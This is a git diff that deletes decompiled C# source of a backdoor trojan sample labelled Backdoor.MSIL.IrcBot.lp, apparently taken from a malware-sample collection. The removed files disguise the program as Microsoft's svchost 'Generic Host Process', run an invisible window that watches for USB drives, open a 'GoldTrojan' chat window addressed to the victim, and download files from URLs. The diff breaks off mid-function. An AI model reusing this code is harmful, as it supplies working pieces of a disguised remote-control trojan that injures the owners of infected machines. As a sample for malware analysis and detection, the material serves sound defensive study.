diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/AssemblyInfo.cs deleted file mode 100644 index b8dafdab..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("svchost")] -[assembly: AssemblyTitle("Generic Host Process for Win32 Services")] -[assembly: AssemblyDescription("Generic Host Process for Win32 Services")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCopyright("Copyright © Microsoft")] -[assembly: AssemblyTrademark("")] -[assembly: ComVisible(false)] -[assembly: Guid("0ea6fff1-cc47-4bc0-b703-3ed5264018c0")] -[assembly: AssemblyFileVersion("3.2.4")] -[assembly: AssemblyVersion("3.2.4.0")] diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Backdoor.MSIL.IrcBot.lp.csproj b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Backdoor.MSIL.IrcBot.lp.csproj deleted file mode 100644 index eb040767..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Backdoor.MSIL.IrcBot.lp.csproj +++ /dev/null @@ -1,169 +0,0 @@ - - - - - Debug - AnyCPU - {5BF5202E-1F94-42EE-A431-AF9196FB250A} - WinExe - svchost - 3.2.4.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Backdoor.MSIL.IrcBot.lp.sln b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Backdoor.MSIL.IrcBot.lp.sln deleted file mode 100644 index 8907ae80..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Backdoor.MSIL.IrcBot.lp.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "svchost", "Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.csproj", "{5BF5202E-1F94-42EE-A431-AF9196FB250A}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {5BF5202E-1F94-42EE-A431-AF9196FB250A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {5BF5202E-1F94-42EE-A431-AF9196FB250A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {5BF5202E-1F94-42EE-A431-AF9196FB250A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {5BF5202E-1F94-42EE-A431-AF9196FB250A}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DetectorForm.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DetectorForm.cs deleted file mode 100644 index 04b1b467..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DetectorForm.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Dolinay.DetectorForm -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Drawing; -using System.Windows.Forms; - -namespace Dolinay -{ - internal class DetectorForm : Form - { - private Label label1; - private DriveDetector mDetector; - - public DetectorForm(DriveDetector detector) - { - this.mDetector = detector; - this.MinimizeBox = false; - this.MaximizeBox = false; - this.ShowInTaskbar = false; - this.ShowIcon = false; - this.FormBorderStyle = FormBorderStyle.None; - this.Load += new EventHandler(this.Load_Form); - this.Activated += new EventHandler(this.Form_Activated); - } - - private void Load_Form(object sender, EventArgs e) - { - this.InitializeComponent(); - this.Size = new Size(5, 5); - } - - private void Form_Activated(object sender, EventArgs e) => this.Visible = false; - - protected override void WndProc(ref Message m) - { - base.WndProc(ref m); - if (this.mDetector == null) - return; - this.mDetector.WndProc(ref m); - } - - private void InitializeComponent() - { - this.label1 = new Label(); - this.SuspendLayout(); - this.label1.AutoSize = true; - this.label1.Location = new Point(13, 30); - this.label1.Name = "label1"; - this.label1.Size = new Size(314, 13); - this.label1.TabIndex = 0; - this.label1.Text = "This is invisible form. To see DriveDetector code click View Code"; - this.ClientSize = new Size(360, 80); - this.Controls.Add((Control) this.label1); - this.Name = nameof (DetectorForm); - this.ResumeLayout(false); - this.PerformLayout(); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DetectorForm.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DetectorForm.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DetectorForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetector.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetector.cs deleted file mode 100644 index 5eb20cec..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetector.cs +++ /dev/null @@ -1,308 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Dolinay.DriveDetector -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using Microsoft.Win32.SafeHandles; -using System; -using System.IO; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Dolinay -{ - internal class DriveDetector : IDisposable - { - private const int DBT_DEVTYP_DEVICEINTERFACE = 5; - private const int DBT_DEVTYP_HANDLE = 6; - private const int BROADCAST_QUERY_DENY = 1112363332; - private const int WM_DEVICECHANGE = 537; - private const int DBT_DEVICEARRIVAL = 32768; - private const int DBT_DEVICEQUERYREMOVE = 32769; - private const int DBT_DEVICEREMOVECOMPLETE = 32772; - private const int DBT_DEVTYP_VOLUME = 2; - private IntPtr mDirHandle = IntPtr.Zero; - private FileStream mFileOnFlash; - private string mFileToOpen; - private IntPtr mDeviceNotifyHandle; - private IntPtr mRecipientHandle; - private string mCurrentDrive; - - public event DriveDetectorEventHandler DeviceArrived; - - public event DriveDetectorEventHandler DeviceRemoved; - - public event DriveDetectorEventHandler QueryRemove; - - public DriveDetector() - { - DetectorForm detectorForm = new DetectorForm(this); - detectorForm.Show(); - this.Init((Control) detectorForm, (string) null); - } - - public DriveDetector(Control control) => this.Init(control, (string) null); - - public DriveDetector(Control control, string FileToOpen) => this.Init(control, FileToOpen); - - private void Init(Control control, string fileToOpen) - { - this.mFileToOpen = fileToOpen; - this.mFileOnFlash = (FileStream) null; - this.mDeviceNotifyHandle = IntPtr.Zero; - this.mRecipientHandle = control.Handle; - this.mDirHandle = IntPtr.Zero; - this.mCurrentDrive = ""; - } - - public bool IsQueryHooked => !(this.mDeviceNotifyHandle == IntPtr.Zero); - - public string HookedDrive => this.mCurrentDrive; - - public FileStream OpenedFile => this.mFileOnFlash; - - public bool EnableQueryRemove(string fileOnDrive) - { - switch (fileOnDrive) - { - case "": - case null: - throw new ArgumentException("Drive path must be supplied to register for Query remove."); - default: - if (fileOnDrive.Length == 2 && fileOnDrive[1] == ':') - fileOnDrive += (string) (object) '\\'; - if (this.mDeviceNotifyHandle != IntPtr.Zero) - this.RegisterForDeviceChange(false, (SafeFileHandle) null); - this.mFileToOpen = Path.GetFileName(fileOnDrive).Length == 0 || !File.Exists(fileOnDrive) ? (string) null : fileOnDrive; - this.RegisterQuery(Path.GetPathRoot(fileOnDrive)); - return !(this.mDeviceNotifyHandle == IntPtr.Zero); - } - } - - public void DisableQueryRemove() - { - if (!(this.mDeviceNotifyHandle != IntPtr.Zero)) - return; - this.RegisterForDeviceChange(false, (SafeFileHandle) null); - } - - public void Dispose() => this.RegisterForDeviceChange(false, (SafeFileHandle) null); - - public void WndProc(ref Message m) - { - if (m.Msg != 537) - return; - switch (m.WParam.ToInt32()) - { - case 32768: - if (Marshal.ReadInt32(m.LParam, 4) != 2) - break; - char letter1 = DriveDetector.DriveMaskToLetter(((DriveDetector.DEV_BROADCAST_VOLUME) Marshal.PtrToStructure(m.LParam, typeof (DriveDetector.DEV_BROADCAST_VOLUME))).dbcv_unitmask); - DriveDetectorEventHandler deviceArrived = this.DeviceArrived; - if (deviceArrived == null) - break; - DriveDetectorEventArgs e1 = new DriveDetectorEventArgs(); - e1.Drive = letter1.ToString() + ":\\"; - deviceArrived((object) this, e1); - if (!e1.HookQueryRemove) - break; - if (this.mDeviceNotifyHandle != IntPtr.Zero) - this.RegisterForDeviceChange(false, (SafeFileHandle) null); - this.RegisterQuery(letter1.ToString() + ":\\"); - break; - case 32769: - if (Marshal.ReadInt32(m.LParam, 4) != 6) - break; - DriveDetectorEventHandler queryRemove = this.QueryRemove; - if (queryRemove == null) - break; - DriveDetectorEventArgs e2 = new DriveDetectorEventArgs(); - e2.Drive = this.mCurrentDrive; - queryRemove((object) this, e2); - if (e2.Cancel) - { - m.Result = (IntPtr) 1112363332; - break; - } - this.RegisterForDeviceChange(false, (SafeFileHandle) null); - break; - case 32772: - if (Marshal.ReadInt32(m.LParam, 4) != 2 || Marshal.ReadInt32(m.LParam, 4) != 2) - break; - char letter2 = DriveDetector.DriveMaskToLetter(((DriveDetector.DEV_BROADCAST_VOLUME) Marshal.PtrToStructure(m.LParam, typeof (DriveDetector.DEV_BROADCAST_VOLUME))).dbcv_unitmask); - DriveDetectorEventHandler deviceRemoved = this.DeviceRemoved; - if (deviceRemoved == null) - break; - deviceRemoved((object) this, new DriveDetectorEventArgs() - { - Drive = letter2.ToString() + ":\\" - }); - break; - } - } - - private void RegisterQuery(string drive) - { - bool flag = true; - if (this.mFileToOpen != null) - { - if (this.mFileToOpen.Contains(":")) - { - string path2 = this.mFileToOpen.Substring(3); - this.mFileToOpen = Path.Combine(Path.GetPathRoot(drive), path2); - } - else - this.mFileToOpen = Path.Combine(drive, this.mFileToOpen); - } - try - { - this.mFileOnFlash = this.mFileToOpen != null ? new FileStream(this.mFileToOpen, FileMode.Open) : (FileStream) null; - } - catch (Exception ex) - { - flag = false; - } - if (!flag) - return; - if (this.mFileOnFlash == null) - this.RegisterForDeviceChange(drive); - else - this.RegisterForDeviceChange(true, this.mFileOnFlash.SafeFileHandle); - this.mCurrentDrive = drive; - } - - private void RegisterForDeviceChange(string dirPath) - { - IntPtr num1 = DriveDetector.Native.OpenDirectory(dirPath); - if (num1 == IntPtr.Zero) - { - this.mDeviceNotifyHandle = IntPtr.Zero; - } - else - { - this.mDirHandle = num1; - DriveDetector.DEV_BROADCAST_HANDLE structure = new DriveDetector.DEV_BROADCAST_HANDLE(); - structure.dbch_devicetype = 6; - structure.dbch_reserved = 0; - structure.dbch_nameoffset = 0L; - structure.dbch_handle = num1; - structure.dbch_hdevnotify = (IntPtr) 0; - int cb = Marshal.SizeOf((object) structure); - structure.dbch_size = cb; - IntPtr num2 = Marshal.AllocHGlobal(cb); - Marshal.StructureToPtr((object) structure, num2, true); - this.mDeviceNotifyHandle = DriveDetector.Native.RegisterDeviceNotification(this.mRecipientHandle, num2, 0U); - } - } - - private void RegisterForDeviceChange(bool register, SafeFileHandle fileHandle) - { - if (register) - { - DriveDetector.DEV_BROADCAST_HANDLE structure = new DriveDetector.DEV_BROADCAST_HANDLE(); - structure.dbch_devicetype = 6; - structure.dbch_reserved = 0; - structure.dbch_nameoffset = 0L; - structure.dbch_handle = fileHandle.DangerousGetHandle(); - structure.dbch_hdevnotify = (IntPtr) 0; - int cb = Marshal.SizeOf((object) structure); - structure.dbch_size = cb; - IntPtr num = Marshal.AllocHGlobal(cb); - Marshal.StructureToPtr((object) structure, num, true); - this.mDeviceNotifyHandle = DriveDetector.Native.RegisterDeviceNotification(this.mRecipientHandle, num, 0U); - } - else - { - if (this.mDirHandle != IntPtr.Zero) - DriveDetector.Native.CloseDirectoryHandle(this.mDirHandle); - if (this.mDeviceNotifyHandle != IntPtr.Zero) - { - int num = (int) DriveDetector.Native.UnregisterDeviceNotification(this.mDeviceNotifyHandle); - } - this.mDeviceNotifyHandle = IntPtr.Zero; - this.mDirHandle = IntPtr.Zero; - this.mCurrentDrive = ""; - if (this.mFileOnFlash == null) - return; - this.mFileOnFlash.Close(); - this.mFileOnFlash = (FileStream) null; - } - } - - private static char DriveMaskToLetter(int mask) - { - string str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - int index = 0; - int num = mask / 2; - while (num != 0) - { - num /= 2; - ++index; - } - return index >= str.Length ? '?' : str[index]; - } - - private class Native - { - private const uint GENERIC_READ = 2147483648; - private const uint OPEN_EXISTING = 3; - private const uint FILE_SHARE_READ = 1; - private const uint FILE_SHARE_WRITE = 2; - private const uint FILE_ATTRIBUTE_NORMAL = 128; - private const uint FILE_FLAG_BACKUP_SEMANTICS = 33554432; - private static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1); - - [DllImport("user32.dll", CharSet = CharSet.Auto)] - public static extern IntPtr RegisterDeviceNotification( - IntPtr hRecipient, - IntPtr NotificationFilter, - uint Flags); - - [DllImport("user32.dll", CharSet = CharSet.Auto)] - public static extern uint UnregisterDeviceNotification(IntPtr hHandle); - - [DllImport("kernel32", SetLastError = true)] - private static extern IntPtr CreateFile( - string FileName, - uint DesiredAccess, - uint ShareMode, - uint SecurityAttributes, - uint CreationDisposition, - uint FlagsAndAttributes, - int hTemplateFile); - - [DllImport("kernel32", SetLastError = true)] - private static extern bool CloseHandle(IntPtr hObject); - - public static IntPtr OpenDirectory(string dirPath) - { - IntPtr file = DriveDetector.Native.CreateFile(dirPath, 2147483648U, 3U, 0U, 3U, 33554560U, 0); - return file == DriveDetector.Native.INVALID_HANDLE_VALUE ? IntPtr.Zero : file; - } - - public static bool CloseDirectoryHandle(IntPtr handle) => DriveDetector.Native.CloseHandle(handle); - } - - public struct DEV_BROADCAST_HANDLE - { - public int dbch_size; - public int dbch_devicetype; - public int dbch_reserved; - public IntPtr dbch_handle; - public IntPtr dbch_hdevnotify; - public Guid dbch_eventguid; - public long dbch_nameoffset; - public byte dbch_data; - public byte dbch_data1; - } - - public struct DEV_BROADCAST_VOLUME - { - public int dbcv_size; - public int dbcv_devicetype; - public int dbcv_reserved; - public int dbcv_unitmask; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetectorEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetectorEventArgs.cs deleted file mode 100644 index f3676dc3..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetectorEventArgs.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Dolinay.DriveDetectorEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; - -namespace Dolinay -{ - public class DriveDetectorEventArgs : EventArgs - { - public bool Cancel; - public string Drive; - public bool HookQueryRemove; - - public DriveDetectorEventArgs() - { - this.Cancel = false; - this.Drive = ""; - this.HookQueryRemove = false; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetectorEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetectorEventHandler.cs deleted file mode 100644 index f862d0a7..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetectorEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Dolinay.DriveDetectorEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Dolinay -{ - public delegate void DriveDetectorEventHandler(object sender, DriveDetectorEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Chat.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Chat.cs deleted file mode 100644 index 9869f083..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Chat.cs +++ /dev/null @@ -1,131 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: GoldTrojan.Chat -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -namespace GoldTrojan -{ - public class Chat : Form - { - public string txt; - private string nicks; - private string nicko; - private IContainer components; - private Button button1; - private TextBox txtInput; - private TextBox txtOutput; - - public Chat() => this.InitializeComponent(); - - public void WyswietlWiadomosc(string tekst) - { - TextBox txtOutput = this.txtOutput; - txtOutput.Text = txtOutput.Text + this.nicks + ": " + this.godzina() + Environment.NewLine + tekst + Environment.NewLine; - this.Odswiez(); - } - - private string godzina() - { - DateTime now = DateTime.Now; - return "[" + Convert.ToString(now.Hour) + ":" + Convert.ToString(now.Minute) + "]"; - } - - public void Dane(string nickser, string nickofiary) - { - this.nicks = nickser; - this.nicko = nickofiary; - } - - private void Odswiez() - { - this.txtOutput.SelectionStart = this.txtOutput.Text.Length; - this.txtOutput.ScrollToCaret(); - this.txtOutput.Refresh(); - } - - private void button1_Click(object sender, EventArgs e) - { - string str1 = this.nicko + ": " + this.godzina() + Environment.NewLine + this.txtInput.Text + Environment.NewLine; - string str2 = this.godzina() + " " + this.txtInput.Text; - Chat chat = this; - chat.txt = chat.txt + str2 + " "; - this.txtOutput.Text += str1; - this.Odswiez(); - this.txtInput.Text = ""; - } - - private void Chat_KeyDown(object sender, KeyEventArgs e) - { - if (e.KeyCode != Keys.Return) - return; - this.button1_Click(sender, (EventArgs) e); - } - - private void txtInput_KeyDown(object sender, KeyEventArgs e) - { - if (e.KeyCode != Keys.Return) - return; - this.button1_Click(sender, (EventArgs) e); - } - - private void Chat_FormClosing(object sender, FormClosingEventArgs e) => new Chat().Hide(); - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.button1 = new Button(); - this.txtInput = new TextBox(); - this.txtOutput = new TextBox(); - this.SuspendLayout(); - this.button1.AllowDrop = true; - this.button1.Location = new Point(12, 231); - this.button1.Name = "button1"; - this.button1.Size = new Size(268, 23); - this.button1.TabIndex = 4; - this.button1.Text = "Wyślij"; - this.button1.UseVisualStyleBackColor = true; - this.button1.Click += new EventHandler(this.button1_Click); - this.txtInput.AllowDrop = true; - this.txtInput.Location = new Point(12, 205); - this.txtInput.Name = "txtInput"; - this.txtInput.Size = new Size(268, 20); - this.txtInput.TabIndex = 3; - this.txtInput.KeyDown += new KeyEventHandler(this.txtInput_KeyDown); - this.txtOutput.AllowDrop = true; - this.txtOutput.Location = new Point(12, 12); - this.txtOutput.Multiline = true; - this.txtOutput.Name = "txtOutput"; - this.txtOutput.ReadOnly = true; - this.txtOutput.ScrollBars = ScrollBars.Vertical; - this.txtOutput.Size = new Size(268, 176); - this.txtOutput.TabIndex = 5; - this.txtOutput.WordWrap = false; - this.AllowDrop = true; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(292, 266); - this.Controls.Add((Control) this.button1); - this.Controls.Add((Control) this.txtInput); - this.Controls.Add((Control) this.txtOutput); - this.Name = nameof (Chat); - this.ShowInTaskbar = false; - this.Text = nameof (Chat); - this.FormClosing += new FormClosingEventHandler(this.Chat_FormClosing); - this.KeyDown += new KeyEventHandler(this.Chat_KeyDown); - this.ResumeLayout(false); - this.PerformLayout(); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Chat.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Chat.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Chat.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadData.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadData.cs deleted file mode 100644 index ce4fa59e..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadData.cs +++ /dev/null @@ -1,152 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: GoldTrojan.DownloadData -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.IO; -using System.Net; - -namespace GoldTrojan -{ - internal class DownloadData - { - private WebResponse response; - private Stream stream; - private long size; - private long start; - private IWebProxy proxy; - - public static DownloadData Create(string url, string destFolder) => DownloadData.Create(url, destFolder, (IWebProxy) null); - - public static DownloadData Create(string url, string destFolder, IWebProxy proxy) - { - DownloadData downloadData = new DownloadData(); - downloadData.proxy = proxy; - long fileSize = downloadData.GetFileSize(url); - downloadData.size = fileSize; - WebRequest request1 = downloadData.GetRequest(url); - try - { - downloadData.response = request1.GetResponse(); - } - catch (Exception ex) - { - throw new ArgumentException(string.Format("Error downloading \"{0}\": {1}", (object) url, (object) ex.Message), ex); - } - DownloadData.ValidateResponse(downloadData.response, url); - string fileName = Path.GetFileName(downloadData.response.ResponseUri.ToString()); - string str = Path.Combine(destFolder, fileName); - if (!downloadData.IsProgressKnown && System.IO.File.Exists(str)) - System.IO.File.Delete(str); - if (downloadData.IsProgressKnown && System.IO.File.Exists(str)) - { - if (!(downloadData.Response is HttpWebResponse)) - { - System.IO.File.Delete(str); - } - else - { - downloadData.start = new FileInfo(str).Length; - if (downloadData.start > fileSize) - System.IO.File.Delete(str); - else if (downloadData.start < fileSize) - { - downloadData.response.Close(); - WebRequest request2 = downloadData.GetRequest(url); - ((HttpWebRequest) request2).AddRange((int) downloadData.start); - downloadData.response = request2.GetResponse(); - if (((HttpWebResponse) downloadData.Response).StatusCode != HttpStatusCode.PartialContent) - { - System.IO.File.Delete(str); - downloadData.start = 0L; - } - } - } - } - return downloadData; - } - - private DownloadData() - { - } - - private DownloadData(WebResponse response, long size, long start) - { - this.response = response; - this.size = size; - this.start = start; - this.stream = (Stream) null; - } - - private static void ValidateResponse(WebResponse response, string url) - { - switch (response) - { - case HttpWebResponse _: - HttpWebResponse httpWebResponse = (HttpWebResponse) response; - if (!httpWebResponse.ContentType.Contains("text/html") && httpWebResponse.StatusCode != HttpStatusCode.NotFound) - break; - throw new ArgumentException(string.Format("Could not download \"{0}\" - a web page was returned from the web server.", (object) url)); - case FtpWebResponse _: - if (((FtpWebResponse) response).StatusCode != FtpStatusCode.ConnectionClosed) - break; - throw new ArgumentException(string.Format("Could not download \"{0}\" - FTP server closed the connection.", (object) url)); - } - } - - private long GetFileSize(string url) - { - WebResponse webResponse = (WebResponse) null; - try - { - webResponse = this.GetRequest(url).GetResponse(); - return webResponse.ContentLength; - } - finally - { - 